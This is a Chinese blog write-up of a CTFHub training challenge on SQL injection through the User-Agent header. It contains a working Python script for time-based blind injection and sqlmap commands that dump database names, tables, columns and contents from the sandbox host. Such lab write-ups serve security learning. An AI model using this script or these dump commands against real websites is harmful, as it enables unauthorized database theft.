• ctfhub技能树—sql注入—UA注入


    手注

    打开靶机

    查看页面信息

    抓取数据包

    根据提示注入点在User-Agent文件头中

    开始尝试注入

    成功查到数据库名

    查询数据表名

    查询字段名

    查询字段信息

    成功拿到flag

    盲注

    测试是否存在时间盲注

    测试成功,开始盲注

    查询数据库名

    查询数据表名

    查询字段名

    查询字段信息

    成功拿到flag

    附上脚本

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import requests
    import sys
    import time
    
    session=requests.session()
    url = "http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/"
    name = ""
    
    # for i in range(1,20):
    #     print(i)
    #     for j in range(31,128):
    #         j = (128+31) -j
    #         str_ascii=chr(j)
    #         #数据库名
    #         #payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
    #         #表名
    #         #payolad = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
    #         #字段名
    #         payolad = "if(substr((select group_concat(column_name) from information_schema.columns where table_name='rkhbzrszjl' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
    #         headers = {'User-Agent': payolad}
    #         start_time=time.time()
    #         str_get = session.get(url,headers=headers)
    #         end_time = time.time()
    #         t = end_time - start_time
    #         if t > 1:
    #             if str_ascii == " ":
    #                 sys.exit()
    #             else:
    #                 name+=str_ascii
    #                 break
    #     print(name)
    
    #查询字段内容
    for i in range(1,50):
        print(i)
        for j in range(31,128):
            j = (128+31) -j
            str_ascii=chr(j)
            payolad = "if(substr((select kdulqytdrv from sqli.rkhbzrszjl),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
            headers = {'User-Agent': payolad}
            start_time=time.time()
            str_get = session.get(url,headers=headers)
            end_time = time.time()
            t = end_time - start_time
            if t > 1:
                if str_ascii == "+":
                    sys.exit()
                else:
                    name += str_ascii
                    break
        print(name)
    

    sqlmap

    查询数据库名

    python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 --dbs
    

    查询数据表名

    python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 -D sqli --tables
    

    查询字段名

    python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T rkhbzrszjl --columns
    

    查询字段信息

    python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T rkhbzrszjl -C kdulqytdrv --dump
    

    成功拿到flag

  • 相关阅读:
    Android 的 ramdisk.img、system.img、userdata.img 作用说明,以及UBoot 系统启动过程
    Android启动过程以及各个镜像的关系
    程序员如何利用空余时间挣零花钱?
    hcharts实现堆叠柱形图
    [慕课笔记] node+mongodb建站攻略
    【每周一图】蜂鸟
    [慕课笔记]Node入口文件分析和目录初始化
    [慕课笔记] node+mongodb建站攻略
    hcharts实现堆叠柱形图
    程序员常用的六大技术博客类
  • 原文地址:https://www.cnblogs.com/anweilx/p/12517290.html
Copyright © 2020-2023  润新知